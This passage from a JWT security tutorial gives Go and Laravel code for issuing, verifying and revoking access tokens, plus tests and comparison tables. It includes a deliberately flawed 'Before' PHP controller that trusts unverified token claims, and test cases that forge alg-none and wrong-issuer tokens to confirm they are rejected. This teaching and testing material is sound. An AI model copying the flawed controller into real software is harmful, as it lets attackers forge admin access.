idp := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set("Cache-Control", "max-age=600")
_, _ = w.Write(doc)
}))
defer idp.Close()
iss := issuer.Issuer{Issuer: idp.URL, Key: k, TTL: 5 * time.Minute}
v := &verify.Verifier{
Issuer: idp.URL, Audience: "https://orders.example.com",
Algorithms: []string{keys.ES256}, Leeway: 30 * time.Second,
Keys: &jwks.Client{URL: idp.URL + "/jwks.json", HTTP: idp.Client()},
}
h := httpauth.Require(v, "orders", "orders:read")(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
c, _ := httpauth.ClaimsFrom(r.Context())
fmt.Fprintf(w, "hello %s", c.Subject)
}))
good, _, _ := iss.Issue(issuer.Request{Subject: "u1", Audience: []string{"https://orders.example.com"}, Scope: "orders:read"})
noScope, _, _ := iss.Issue(issuer.Request{Subject: "u1", Audience: []string{"https://orders.example.com"}, Scope: "profile"})
cases := []struct {
name, auth string
status int
www string
}{
{"valid", "Bearer " + good, 200, ""},
{"no token", "", 401, `Bearer realm="orders"`},
{"garbage", "Bearer abc.def.ghi", 401, `error="invalid_token"`},
{"wrong scheme", "Basic " + good, 401, `Bearer realm="orders"`},
{"missing scope", "Bearer " + noScope, 403, `error="insufficient_scope"`},
}
for _, c := range cases {
t.Run(c.name, func(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/orders", nil)
if c.auth != "" {
req.Header.Set("Authorization", c.auth)
}
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != c.status {
t.Fatalf("status %d, want %d (%s)", rec.Code, c.status, rec.Body)
}
if !strings.Contains(rec.Header().Get("WWW-Authenticate"), c.www) {
t.Fatalf("WWW-Authenticate = %q", rec.Header().Get("WWW-Authenticate"))
}
})
}
}Lab tools: issue a token, decode it without verifying (debugging only), and measure sizes:
// Command issue prints one EdDSA-signed access token (fresh key each run),
// for the lab: go run ./cmd/issue | go run ./cmd/decode
package main
import (
"fmt"
"os"
"time"
"academy/jwt-deep-dive/issuer"
"academy/jwt-deep-dive/keys"
)
func main() {
k, err := keys.NewEdDSA("ed-2026-11")
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
tok, _, err := issuer.Issuer{Issuer: "https://id.example.com", Key: k, TTL: 10 * time.Minute}.Issue(issuer.Request{
Subject: "user-42", Audience: []string{"https://orders.example.com"},
ClientID: "web-spa", Scope: "orders:read", SID: "s-81f2", Version: 3,
})
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
fmt.Println(tok)
}// Command decode prints a JWT's header and payload WITHOUT verifying it.
// Use it to debug; never use its output to make a decision.
package main
import (
"bufio"
"encoding/base64"
"encoding/json"
"fmt"
"os"
"strings"
"time"
)
func main() {
in := bufio.NewScanner(os.Stdin)
in.Buffer(make([]byte, 64<<10), 64<<10)
if !in.Scan() {
fmt.Fprintln(os.Stderr, "usage: echo $TOKEN | go run ./cmd/decode")
os.Exit(2)
}
parts := strings.Split(strings.TrimSpace(in.Text()), ".")
fmt.Printf("parts: %d (%s)\n", len(parts), map[int]string{3: "JWS compact", 5: "JWE compact"}[len(parts)])
for i, name := range []string{"header", "payload"} {
if i >= len(parts) || len(parts) == 5 && i == 1 {
break // a JWE payload is ciphertext
}
b, err := base64.RawURLEncoding.DecodeString(parts[i])
if err != nil {
fmt.Printf("%s: not base64url: %v\n", name, err)
continue
}
var m map[string]any
_ = json.Unmarshal(b, &m)
pretty, _ := json.MarshalIndent(m, "", " ")
fmt.Printf("%s (UNVERIFIED):\n%s\n", name, pretty)
for _, c := range []string{"iat", "nbf", "exp"} {
if v, ok := m[c].(float64); ok {
fmt.Printf(" %s = %s\n", c, time.Unix(int64(v), 0).UTC().Format(time.RFC3339))
}
}
}
}// Command tokensize prints how big the same access token is per algorithm,
// and how big it gets when the issuer stuffs roles into it.
package main
import (
"fmt"
"strings"
"time"
"academy/jwt-deep-dive/issuer"
"academy/jwt-deep-dive/keys"
)
func main() {
hs, _ := keys.NewHS256("hs-2026-11", keys.RandomSecret(32))
ed, _ := keys.NewEdDSA("ed-2026-11")
es, _ := keys.NewES256("es-2026-11")
rs, _ := keys.NewRSA("rs-2026-11", keys.RS256, 2048)
rs4, _ := keys.NewRSA("rs4-2026-11", keys.RS256, 4096)
req := issuer.Request{
Subject: "3f1c9a2e-7b4d-4e8a-9c1f-2d6b8e0a5f13",
Audience: []string{"https://orders.example.com"},
ClientID: "web-spa", Scope: "openid orders:read orders:write", SID: "s-81f2", Version: 3,
}
fmt.Printf("%-22s %6s %10s\n", "alg / key", "bytes", "signature")
for _, k := range []keys.Key{hs, ed, es, rs, rs4} {
tok, _, _ := issuer.Issuer{Issuer: "https://id.example.com", Key: k, TTL: 10 * time.Minute}.Issue(req)
sig := tok[strings.LastIndex(tok, ".")+1:]
fmt.Printf("%-22s %6d %10d\n", k.Alg+" "+k.ID, len(tok), len(sig))
}
// The anti-pattern: 200 permission strings in the token.
var perms []string
for i := range 200 {
perms = append(perms, fmt.Sprintf("tenant-%03d:orders:read", i))
}
req.Scope = strings.Join(perms, " ")
fat, _, _ := issuer.Issuer{Issuer: "https://id.example.com", Key: es, TTL: 10 * time.Minute}.Issue(req)
fmt.Printf("%-22s %6d (NGINX default header buffer: 8192)\n", "ES256 + 200 scopes", len(fat))
}The Go angle
| Go feature | Use for JWT | Note |
|---|---|---|
github.com/golang-jwt/jwt/v5 | JWS sign/verify, RegisteredClaims, NewParser options | No JWE, no JWKS; typ unchecked unless you check it |
jwt.Keyfunc (func(*Token) (any, error)) | Where kid lookup, typ, crit and the key-algorithm binding go | Return an error to reject before the signature is checked |
errors.Is(err, jwt.ErrTokenExpired) etc. | Map failures to metrics without string matching | All map to 401 for the client |
github.com/MicahParks/keyfunc/v3 | Ready-made JWKS keyfunc with refresh on unknown kid | Alternative to this chapter's jwks.Client |
github.com/lestrrat-go/jwx/v4 | Full JOSE, JWE, JSON serialization, JWKS cache | Go 1.26+ |
github.com/go-jose/go-jose | "An implementation of JOSE standards (JWE, JWS, JWT) in Go" | JWE without jwx |
crypto/ed25519, crypto/ecdsa, crypto/rsa | Key generation and raw keys | ecdsa keys for ES256 must be P-256 |
crypto/ecdh | Validate EC points from untrusted JWKs | NewPublicKey rejects off-curve points |
crypto/aes + crypto/cipher (GCM) | A256GCM content encryption | 12-byte nonce, 16-byte tag |
net/http/httptest.NewTLSServer | Test JWKS and discovery over https | srv.Client() trusts the test certificate |
github.com/redis/go-redis/v9 | SetArgs{ExpireAt}, MGet, Incr | Hash tags keep keys in one cluster slot |
log/slog | Log rejection reasons | Log jti/kid/reason, never the token |
Laravel
The Laravel side covers both directions: verifying tokens from an external IdP (firebase/php-jwt behind a strict verifier, JWKS through the HTTP client and the cache) and issuing tokens with Passport. The files were syntax-checked with php -l; no Laravel application was booted for this chapter.
Before
Decode the middle part and trust it, from the query string:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
/**
* The "JWT auth" that ships surprisingly often: decode the middle part and
* trust it. It works for every honest client and for every attacker.
*/
class OrdersController extends Controller
{
public function index(Request $request): JsonResponse
{
// Flaw 1: token read from the query string (logs, Referer, history).
$token = $request->query('token', $request->bearerToken() ?? '');
// Flaw 2: no signature check at all; base64 is not security.
$parts = explode('.', $token);
$claims = json_decode(base64_decode(strtr($parts[1] ?? '', '-_', '+/')), true) ?? [];
// Flaw 3: no iss, aud, exp, typ: an ID token, an expired token or a
// token minted for another API are all fine here.
if (($claims['role'] ?? null) === 'admin') {
return response()->json(['orders' => 'all']);
}
return response()->json(['orders' => 'mine', 'user' => $claims['sub'] ?? null]);
}
}After
Keys of one issuer via OIDC discovery (issuer must match exactly), JWKS cached as plain arrays with Cache::flexible (stale-while-revalidate), keys without an allowed alg dropped, and one forced refresh per 30 s for unknown kids:
<?php
namespace App\Auth;
use Firebase\JWT\JWK;
use Firebase\JWT\Key;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use RuntimeException;
/**
* Keys of one issuer, found through OIDC discovery and cached.
*
* - discovery document: cached 1 hour, issuer must match exactly
* - JWKS: Cache::flexible (fresh 10 min, stale-while-revalidate to 1 hour)
* - unknown kid: one forced refetch per 30 s at most (Cache::add as a gate)
*/
class JwksKeySet
{
public function __construct(
private readonly string $issuer,
private readonly string $cacheStore = 'redis',
) {}
/** @return array<string, Key> kid => Key bound to its alg */
public function keysFor(string $kid): array
{
// Cache the JWKS document (plain arrays), not Key objects: OpenSSL
// key handles cannot be serialized into Redis.
$jwks = $this->cache()->flexible($this->cacheKey(), [600, 3600], fn () => $this->fetch());
$kids = array_column($jwks['keys'], 'kid');
if (! in_array($kid, $kids, true) && $this->cache()->add($this->cacheKey().':refresh-gate', 1, 30)) {
// A kid we have never seen: the IdP probably rotated. Refetch once.
$jwks = $this->fetch();
$this->cache()->put($this->cacheKey(), $jwks, 3600);
}
return JWK::parseKeySet($jwks);
}
/** @return array{keys: list<array<string, string>>} */
private function fetch(): array
{
$jwksUri = $this->cache()->remember($this->cacheKey().':discovery', 3600, function (): string {
$meta = Http::timeout(3)->connectTimeout(2)->acceptJson()
->get(rtrim($this->issuer, '/').'/.well-known/openid-configuration')
->throw()->json();
// RFC 8725 3.8: the keys must belong to the issuer we trust.
if (($meta['issuer'] ?? null) !== $this->issuer || ! str_starts_with($meta['jwks_uri'] ?? '', 'https://')) {
throw new RuntimeException('OIDC discovery document does not match the configured issuer');
}
return $meta['jwks_uri'];
});
$jwks = Http::timeout(3)->connectTimeout(2)->acceptJson()->get($jwksUri)->throw()->json();
// Keep only signing keys that declare an alg we allow; never guess.
$jwks['keys'] = array_values(array_filter(
$jwks['keys'] ?? [],
fn (array $k) => in_array($k['alg'] ?? null, ['RS256', 'PS256', 'ES256', 'EdDSA'], true)
&& ($k['use'] ?? 'sig') === 'sig',
));
return $jwks;
}
private function cacheKey(): string
{
return 'jwks:'.sha1($this->issuer);
}
private function cache(): \Illuminate\Cache\Repository
{
return Cache::store($this->cacheStore);
}
}The verifier: size limit, kid peeked and used only as an array key, firebase/php-jwt for signature and times (it rejects none and key/algorithm mismatches), then typ, crit, exact iss, aud, required claims and revocation:
<?php
namespace App\Auth;
use Firebase\JWT\JWT;
use stdClass;
use UnexpectedValueException;
/**
* RFC 9068 access-token validation on top of firebase/php-jwt.
* firebase/php-jwt checks the signature, that the key's alg equals the
* header's alg, "exp", "nbf" and "iat". Everything else is ours.
*/
class AccessTokenVerifier
{
public function __construct(
private readonly JwksKeySet $keys,
private readonly TokenRevocation $revocation,
private readonly string $issuer,
private readonly string $audience,
private readonly int $leewaySeconds = 30,
) {}
public function verify(string $jwt): stdClass
{
if (strlen($jwt) > 8192) {
throw new UnexpectedValueException('token too large');
}
$kid = $this->peekKid($jwt);
JWT::$leeway = $this->leewaySeconds;
$headers = new stdClass;
$claims = JWT::decode($jwt, $this->keys->keysFor($kid), $headers);
if (! in_array(strtolower($headers->typ ?? ''), ['at+jwt', 'application/at+jwt'], true)) {
throw new UnexpectedValueException('typ is not at+jwt (an ID token is not an access token)');
}
if (isset($headers->crit)) {
throw new UnexpectedValueException('unsupported crit header');
}
if (($claims->iss ?? null) !== $this->issuer) {
throw new UnexpectedValueException('wrong issuer');
}
if (! in_array($this->audience, (array) ($claims->aud ?? []), true)) {
throw new UnexpectedValueException('wrong audience');
}
foreach (['exp', 'iat', 'sub', 'jti'] as $required) {
if (! isset($claims->{$required})) {
throw new UnexpectedValueException("missing {$required}");
}
}
if ($this->revocation->isRevoked($claims)) {
throw new UnexpectedValueException('token revoked');
}
return $claims;
}
private function peekKid(string $jwt): string
{
$header = json_decode(JWT::urlsafeB64Decode(explode('.', $jwt)[0] ?? ''), true);
$kid = is_array($header) ? ($header['kid'] ?? '') : '';
if (! is_string($kid) || $kid === '' || strlen($kid) > 128) {
throw new UnexpectedValueException('missing or invalid kid');
}
return $kid; // only ever used as an array key, never as a path or SQL
}
}Revocation in the Redis cache store: jti until exp, sid, versions, one many() round trip:
<?php
namespace App\Auth;
use DateTimeImmutable;
use Illuminate\Support\Facades\Cache;
/**
* Denylist by jti, logout by sid, and per-user token versions, in Redis.
* Every entry expires on its own: no cleanup job, no unbounded growth.
*/
class TokenRevocation
{
public function __construct(
private readonly int $maxTokenTtlSeconds = 900,
private readonly string $store = 'redis',
) {}
public function revokeToken(object $claims): void
{
// Lives exactly until the token's own exp.
Cache::store($this->store)->put(
"jwt:{$claims->sub}:jti:{$claims->jti}",
true,
(new DateTimeImmutable)->setTimestamp((int) $claims->exp),
);
}
public function revokeSession(string $sub, string $sid): void
{
Cache::store($this->store)->put("jwt:{$sub}:sid:{$sid}", true, $this->maxTokenTtlSeconds);
}
/** "Log out everywhere" and password changes: older tokens die. */
public function bumpVersion(string $sub): int
{
return (int) Cache::store($this->store)->increment("jwt:{$sub}:ver");
}
public function isRevoked(object $claims): bool
{
$values = Cache::store($this->store)->many([
"jwt:{$claims->sub}:jti:{$claims->jti}",
"jwt:{$claims->sub}:sid:".($claims->sid ?? '-'),
"jwt:{$claims->sub}:ver",
]);
[$jti, $sid, $ver] = array_values($values);
return $jti !== null
|| (isset($claims->sid) && $sid !== null)
|| ((int) ($claims->ver ?? 0)) < (int) ($ver ?? 0);
}
}Route middleware with scopes as parameters (idp.jwt:orders:read) and RFC 6750 responses:
<?php
namespace App\Http\Middleware;
use App\Auth\AccessTokenVerifier;
use Closure;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use Symfony\Component\HttpFoundation\Response;
use Throwable;
/**
* Route middleware: ->middleware('idp.jwt:orders:read')
* Puts the verified claims on the request as the "jwt" attribute.
*/
class VerifyIdpToken
{
public function __construct(private readonly AccessTokenVerifier $verifier) {}
public function handle(Request $request, Closure $next, string ...$scopes): Response
{
$token = $request->bearerToken(); // Authorization header only
if ($token === null) {
return response('authentication required', 401)
->header('WWW-Authenticate', 'Bearer realm="api"');
}
try {
$claims = $this->verifier->verify($token);
} catch (Throwable $e) {
Log::info('jwt rejected', ['reason' => $e->getMessage()]);
return response('invalid token', 401)
->header('WWW-Authenticate', 'Bearer realm="api", error="invalid_token"');
}
$granted = explode(' ', $claims->scope ?? '');
foreach ($scopes as $scope) {
if (! in_array($scope, $granted, true)) {
return response('insufficient scope', 403)->header(
'WWW-Authenticate',
'Bearer realm="api", error="insufficient_scope", scope="'.implode(' ', $scopes).'"',
);
}
}
$request->attributes->set('jwt', $claims);
return $next($request);
}
}<?php
use App\Http\Middleware\VerifyIdpToken;
use Illuminate\Foundation\Application;
use Illuminate\Foundation\Configuration\Exceptions;
use Illuminate\Foundation\Configuration\Middleware;
return Application::configure(basePath: dirname(__DIR__))
->withRouting(
web: __DIR__.'/../routes/web.php',
api: __DIR__.'/../routes/api.php',
health: '/up',
)
->withMiddleware(function (Middleware $middleware): void {
$middleware->alias([
'idp.jwt' => VerifyIdpToken::class,
]);
})
->withExceptions(function (Exceptions $exceptions): void {
//
})->create();Passport as the issuer: 15-minute access tokens instead of the one-year default, scopes, keys outside the repository:
<?php
namespace App\Providers;
use App\Auth\AccessTokenVerifier;
use App\Auth\JwksKeySet;
use App\Auth\TokenRevocation;
use Carbon\CarbonInterval;
use Illuminate\Support\ServiceProvider;
use Laravel\Passport\Passport;
class AppServiceProvider extends ServiceProvider
{
public function register(): void
{
// Tokens from an external IdP (Keycloak, Auth0, Entra ID, Okta...).
$this->app->singleton(JwksKeySet::class, fn () => new JwksKeySet(config('services.idp.issuer')));
$this->app->singleton(TokenRevocation::class, fn () => new TokenRevocation(maxTokenTtlSeconds: 900));
$this->app->singleton(AccessTokenVerifier::class, fn ($app) => new AccessTokenVerifier(
keys: $app->make(JwksKeySet::class),
revocation: $app->make(TokenRevocation::class),
issuer: config('services.idp.issuer'),
audience: config('services.idp.audience'),
));
}
public function boot(): void
{
// Laravel Passport as the issuer. The default access-token lifetime
// is one year; shorten it and lean on refresh tokens instead.
Passport::tokensExpireIn(CarbonInterval::minutes(15));
Passport::refreshTokensExpireIn(CarbonInterval::days(30));
Passport::personalAccessTokensExpireIn(CarbonInterval::months(6));
Passport::tokensCan([
'orders:read' => 'Read your orders',
'orders:create' => 'Place orders',
]);
// RSA key pair generated by "php artisan passport:keys"; keep it out
// of the repository and rotate it deliberately (see the page).
Passport::loadKeysFrom(storage_path('secrets/oauth'));
}
}Routes for IdP tokens, Passport user tokens (auth:api + CheckToken::using) and client-credentials tokens (EnsureClientIsResourceOwner::using):
<?php
use App\Http\Controllers\LogoutController;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
use Laravel\Passport\Http\Middleware\CheckToken;
use Laravel\Passport\Http\Middleware\EnsureClientIsResourceOwner;
// 1) Tokens minted by an external IdP, verified locally against its JWKS.
Route::get('/orders', fn (Request $request) => [
'user' => $request->attributes->get('jwt')->sub,
])->middleware('idp.jwt:orders:read');
// 2) Tokens minted by Laravel Passport in this same application.
Route::post('/orders', fn (Request $request) => ['created_by' => $request->user()->id])
->middleware(['auth:api', CheckToken::using('orders:create')]);
// 3) Machine-to-machine (client credentials grant): no user behind the token.
Route::get('/internal/orders', fn () => ['ok' => true])
->middleware(EnsureClientIsResourceOwner::using('orders:read'));
Route::post('/logout', [LogoutController::class, 'passport'])->middleware('auth:api');
Route::post('/logout/everywhere', [LogoutController::class, 'everywhere'])->middleware('auth:api');
Route::post('/idp/logout', [LogoutController::class, 'idp'])->middleware('idp.jwt');Logout: Passport revoke() of the access and refresh token, "everywhere", and a denylist for IdP tokens:
<?php
namespace App\Http\Controllers;
use App\Auth\TokenRevocation;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
class LogoutController extends Controller
{
/** Passport: revoke the current access token and its refresh token. */
public function passport(Request $request): Response
{
$token = $request->user()->token();
$token->revoke(); // league/oauth2-server rejects it by jti from now on
$token->refreshToken?->revoke();
return response()->noContent();
}
/** Passport: revoke every token of the user (password change). */
public function everywhere(Request $request): Response
{
foreach ($request->user()->tokens()->where('revoked', false)->get() as $token) {
$token->revoke();
$token->refreshToken?->revoke();
}
return response()->noContent();
}
/** External IdP tokens: we cannot revoke at the IdP from here, so we denylist. */
public function idp(Request $request, TokenRevocation $revocation): Response
{
$claims = $request->attributes->get('jwt');
$revocation->revokeToken($claims);
if (isset($claims->sid)) {
$revocation->revokeSession($claims->sub, $claims->sid);
}
return response()->noContent();
}
}Schema for the durable token version and denylist:
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
// Durable copy of the per-user token version; Redis holds the hot copy.
Schema::table('users', function (Blueprint $table) {
$table->unsignedInteger('token_version')->default(0)->after('password');
});
// Durable denylist for long-lived tokens (audit + Redis rebuild).
Schema::create('revoked_tokens', function (Blueprint $table) {
$table->string('issuer');
$table->string('jti', 64);
$table->string('subject');
$table->timestamp('expires_at')->index();
$table->timestamp('revoked_at')->useCurrent();
$table->string('reason', 64)->nullable();
$table->primary(['issuer', 'jti']);
});
}
public function down(): void
{
Schema::dropIfExists('revoked_tokens');
Schema::table('users', fn (Blueprint $table) => $table->dropColumn('token_version'));
}
};Feature test with Http::fake for discovery and JWKS, a real RSA key, and the attack cases:
<?php
namespace Tests\Feature;
use App\Auth\TokenRevocation;
use Firebase\JWT\JWT;
use Illuminate\Support\Facades\Http;
use Tests\TestCase;
class IdpJwtTest extends TestCase
{
private string $privatePem;
private const ISS = 'https://id.example.com';
protected function setUp(): void
{
parent::setUp();
config(['services.idp.issuer' => self::ISS, 'services.idp.audience' => 'https://orders.example.com',
'cache.default' => 'array']);
$this->app->forgetInstance(\App\Auth\JwksKeySet::class);
$this->app->singleton(\App\Auth\JwksKeySet::class, fn () => new \App\Auth\JwksKeySet(self::ISS, 'array'));
$this->app->singleton(TokenRevocation::class, fn () => new TokenRevocation(900, 'array'));
$key = openssl_pkey_new(['private_key_bits' => 2048, 'private_key_type' => OPENSSL_KEYTYPE_RSA]);
openssl_pkey_export($key, $this->privatePem);
$rsa = openssl_pkey_get_details($key)['rsa'];
$b64 = fn (string $bin) => rtrim(strtr(base64_encode($bin), '+/', '-_'), '=');
Http::preventStrayRequests();
Http::fake([
self::ISS.'/.well-known/openid-configuration' => Http::response([
'issuer' => self::ISS, 'jwks_uri' => self::ISS.'/jwks.json',
]),
self::ISS.'/jwks.json' => Http::response(['keys' => [[
'kty' => 'RSA', 'kid' => 'rsa-2026-11', 'alg' => 'RS256', 'use' => 'sig',
'n' => $b64($rsa['n']), 'e' => $b64($rsa['e']),
]]]),
]);
}
private function token(array $override = [], array $header = ['typ' => 'at+jwt']): string
{
$now = time();
$claims = array_merge([
'iss' => self::ISS, 'sub' => 'user-42', 'aud' => 'https://orders.example.com',
'iat' => $now, 'exp' => $now + 600, 'jti' => bin2hex(random_bytes(16)),
'client_id' => 'web', 'scope' => 'orders:read',
], $override);
return JWT::encode($claims, $this->privatePem, 'RS256', 'rsa-2026-11', $header);
}
public function test_valid_token_is_accepted(): void
{
$this->withToken($this->token())->getJson('/api/orders')
->assertOk()->assertJson(['user' => 'user-42']);
}
public function test_rejections(): void
{
$none = rtrim(strtr(base64_encode('{"alg":"none","typ":"at+jwt","kid":"rsa-2026-11"}'), '+/', '-_'), '=')
.'.'.explode('.', $this->token())[1].'.';
foreach ([
'alg none' => $none,
'id token' => $this->token([], ['typ' => 'JWT']),
'wrong audience' => $this->token(['aud' => 'https://billing.example.com']),
'wrong issuer' => $this->token(['iss' => 'https://evil.example']),
'expired' => $this->token(['exp' => time() - 120]),
] as $case => $jwt) {
$this->withToken($jwt)->getJson('/api/orders')
->assertUnauthorized()
->assertHeader('WWW-Authenticate', 'Bearer realm="api", error="invalid_token"');
}
}
public function test_missing_scope_is_forbidden(): void
{
$this->withToken($this->token(['scope' => 'profile']))->getJson('/api/orders')->assertForbidden();
}
public function test_revoked_token_is_rejected(): void
{
$jwt = $this->token();
$this->withToken($jwt)->postJson('/api/idp/logout')->assertNoContent();
$this->withToken($jwt)->getJson('/api/orders')->assertUnauthorized();
}
}The Laravel angle
| Laravel 13 feature | Behaviour (from the docs and source) | Note |
|---|---|---|
Passport install:api --passport, passport:keys | Creates OAuth tables and "the encryption keys required to generate secure access tokens" | Keys "are not typically kept in source control" |
| Passport token format | league/oauth2-server builds an RS256 JWT with lcobucci/jwt: aud, jti, iat, nbf, exp, sub, scopes | No iss; typ is JWT |
| Passport validation | BearerTokenValidator: signature, LooseValidAt, then isAccessTokenRevoked(jti) | "Access token has been revoked" |
Passport::tokensExpireIn | Default "long-lived access tokens that expire after one year" | Set minutes, not days |
expires_at columns | "read-only and for display purposes only"; expiry lives "within the signed and encrypted tokens" | Revoke, do not edit the column |
CheckToken::using(...), CheckTokenForAnyScope::using(...), #[AuthorizeToken] | Scope checks for all / any scopes | Pair with auth:api |
EnsureClientIsResourceOwner::using(...) | Client-credentials tokens; sub is the client id | Collision warning if Passport::$clientUuids is false |
$request->user()->token()->revoke() | token() returns currentAccessToken() | Also revoke refreshToken |
Passport::actingAs($user, ['scope']), actingAsClient | Test helpers | No real token minted |
CreateFreshApiToken | laravel_token cookie with "an encrypted JWT" for first-party JS, lifetime = session.lifetime | Cookie-based, needs CSRF |
Sanctum createToken()->plainTextToken | Opaque token, "hashed using SHA-256 hashing before being stored" | Not a JWT |
| Sanctum SPA mode | "does not use tokens of any kind"; session cookies + CSRF | Best default for first-party SPAs |
Sanctum expiration, sanctum:prune-expired | Tokens "never expire" by default | Set an expiration |
Cache::flexible($key, [600, 3600], fn) | Stale-while-revalidate | JWKS freshness without latency spikes |
Cache::add($key, 1, 30) | Atomic "only if missing" | Refresh gate for unknown kid |
Cache::put($key, $v, DateTimeInterface) | Expire at a moment | Denylist until exp |
Http::timeout(3)->connectTimeout(2) | Defaults are 30 s and 10 s | A slow IdP must not hang every request |
Http::fake(), Http::preventStrayRequests() | Fake discovery and JWKS in tests | No network in CI |
Auth::viaRequest('driver', fn) | Closure-based guard | Alternative to the middleware: $request->user() from the JWT |
firebase/php-jwt JWT::decode($jwt, $keys, $headers) | Checks alg = key alg, signature, nbf, iat, exp | iss, aud, typ are yours |
Solving the classic problems
Logout does not log out
| Solution | How | Advantage | Cost / limitation |
|---|---|---|---|
| Short access TTL + refresh revocation | 10 min access, revoke the refresh token at logout | No per-request state | Up to 10 min of validity after logout |
sid denylist | RevokeSession(sub, sid) for the MaxTokenTTL | One device logged out in seconds | One Redis read per request |
| Token versioning | BumpVersion(sub); tokens carry ver | "Everywhere" logout, password change | Issuer must read the version at mint time |
| Introspection | Opaque tokens or active checks | Instant | One HTTP call per request (cacheable) |
The IdP rotated its keys and every new token fails
Refresh on unknown kid (rate-limited), keep a bounded TTL, and ask the IdP to pre-publish keys at least one cache TTL before using them. AWS API Gateway documents a public-key cache "for up to two hours" and tells you to "allow a grace period when you rotate keys, during which both the old and new keys are valid"; plan the overlap for the slowest verifier you have.
An ID token works on the API
Check typ: at+jwt; give each API its own audience; reject tokens whose aud is a client id. For Passport or other typ: JWT issuers, use AcceptTypes plus an audience allowlist.
400 Bad Request or a dropped cookie for some users
Measure the token (cmd/tokensize). Remove permission lists from the token, switch RS256 to ES256/EdDSA, keep the token server side (BFF), or raise large_client_header_buffers as a stopgap.
Fresh tokens rejected with "token used before issued"
Clock skew. Fix NTP (chrony) on issuer and verifiers, set 30 to 60 s leeway, and alert on the rejection reason; do not set leeway to minutes to hide a broken clock.
A stolen refresh token
Rotate refresh tokens and revoke the whole family on reuse (RFC 9700 section 4.14); bind them with DPoP or mTLS; keep them out of browsers (BFF).
Tokens in localStorage and an XSS bug
Move to a BFF with HttpOnly cookies (Sanctum SPA mode for Laravel first-party SPAs), shorten lifetimes, add DPoP for third-party SPAs, fix the XSS (OWASP Top 10).
Passport tokens live for a year
Passport::tokensExpireIn(CarbonInterval::minutes(15)), refresh tokens for longevity, passport:purge on a schedule, and personalAccessTokensExpireIn for personal tokens.
Redis is down and revocation cannot be checked
Decide per route: fail closed (503 with Retry-After) for admin and money, fail open for low-risk reads (Store.FailOpen). Keep the durable revoked_tokens table to rebuild Redis.
One verifier for many tenants or issuers
Map each allowed iss to its own discovery document and JWKS client; never pick the JWKS from the token; check that the key that verified the token belongs to the iss in it (RFC 8725 section 3.8).
Services trust a spoofable identity header
Strip identity headers from client requests at the gateway (Envoy does this for its configured headers), re-validate the JWT in each service, and require mTLS between gateway and services.
Choosing
Which token
| Situation | Recommendation | Extra technique | Reason |
|---|---|---|---|
| One Laravel app, first-party SPA on the same site | Sanctum session cookies | CSRF, SameSite=Lax | No token in JS, instant logout |
| One app with a mobile client | Opaque tokens (Sanctum) or Passport with short TTL | Refresh rotation | Simple revocation |
| Many APIs behind a gateway, one IdP | JWT access tokens (at+jwt), per-API audience | JWKS cache at gateway and services | No per-request call to the IdP |
| Third-party developers call your API | JWT or opaque + introspection | Scopes, rate limits | Third parties cannot reach your session store |
| Very high revocation requirements (banking writes) | Opaque + introspection, or JWT + Redis check | Fail closed | Instant effect |
| Edge validation (CDN worker, ALB) | JWT | Short TTL | Edge cannot reach your database |
| Delegation with narrowing | Biscuit or Macaroons | Caveats | Offline attenuation |
Which algorithm
| Situation | Algorithm | Reason |
|---|---|---|
| New issuer you control | EdDSA (or ES256 if a consumer lacks Ed25519) | Small, fast sign and verify |
| Consumers you do not control (OIDC RPs, AWS API Gateway) | RS256 | Universal; AWS HTTP API JWT authorizers support only RSA |
| Issuer = verifier, one service | HS256 with 32 random bytes | Simplest, fastest |
| Compliance bans PKCS#1 v1.5 | PS256 | Same keys as RS256 |
| Claims must be hidden from the client | Nested JWS in JWE (RSA-OAEP-256 or ECDH-ES + A256GCM) | Confidentiality and authenticity |
Which revocation
| Requirement | Strategy | Cost |
|---|---|---|
| "Logout within 15 minutes is fine" | Short TTL + refresh revocation | None |
| "Logout this device now" | sid denylist | 1 Redis read |
| "Password change kills every session" | Token versioning | 1 Redis read (same MGET) |
| "Revoke this one token now" | jti denylist with EXAT | 1 Redis read (same MGET) |
| "Every request must see the truth" | Opaque + introspection or session store | 1 lookup per request |
| "Logout at the IdP logs out every app" | OIDC Back-Channel Logout (logout+jwt with sid) | Endpoint per RP |
Where to store in the browser
| Client | Storage | Why |
|---|---|---|
| First-party SPA, same site | No token: BFF or Sanctum cookie | XSS cannot read it |
| Third-party SPA | Memory only, short TTL, rotated refresh or DPoP | RFC 9700, RFC 10017 |
| Mobile app | OS keystore (Keychain / Keystore) | Not readable by other apps |
| Server-to-server | Process memory, secrets manager for client credentials | Never in logs |
In architecture: from a single process to a distributed system
Monolith: one process, one database
A Laravel monolith with server-rendered pages or a same-site SPA does not need JWTs: sessions or Sanctum cookies are simpler and revocable. JWTs appear in a monolith only at its edges: it issues them (Passport) for mobile apps and partners, or accepts them from a corporate IdP. Example: a shop uses Sanctum cookies for its storefront and Passport client credentials for a warehouse partner; the warehouse token lives 15 minutes, carries scope: orders:read, and the monolith checks revoked by jti on every call anyway.
Modular monolith: boundaries without the network
Modules call each other in-process, so they pass a verified Principal object (subject, scopes, tenant), not the raw token. The token is verified once at the HTTP boundary. Mistake to avoid: each module decoding the JWT itself with different rules. Example: the billing module receives Principal{sub: u1, scopes: [orders:read]} from the HTTP layer and asks the authorization module whether u1 may see invoice 9.
Microservices: every arrow is a decision
The gateway validates tokens from outside; every service that authorizes validates again with its own aud; service-to-service calls use client-credentials tokens or token exchange, over mTLS. Example flow: browser to BFF (cookie), BFF to gateway (Bearer, aud=orders), gateway to orders (forward token), orders to billing (token exchange to aud=billing, act={sub: orders}), billing checks both sub and act. Each service holds a JWKS cache; one IdP outage of 30 minutes is absorbed by MaxStale.
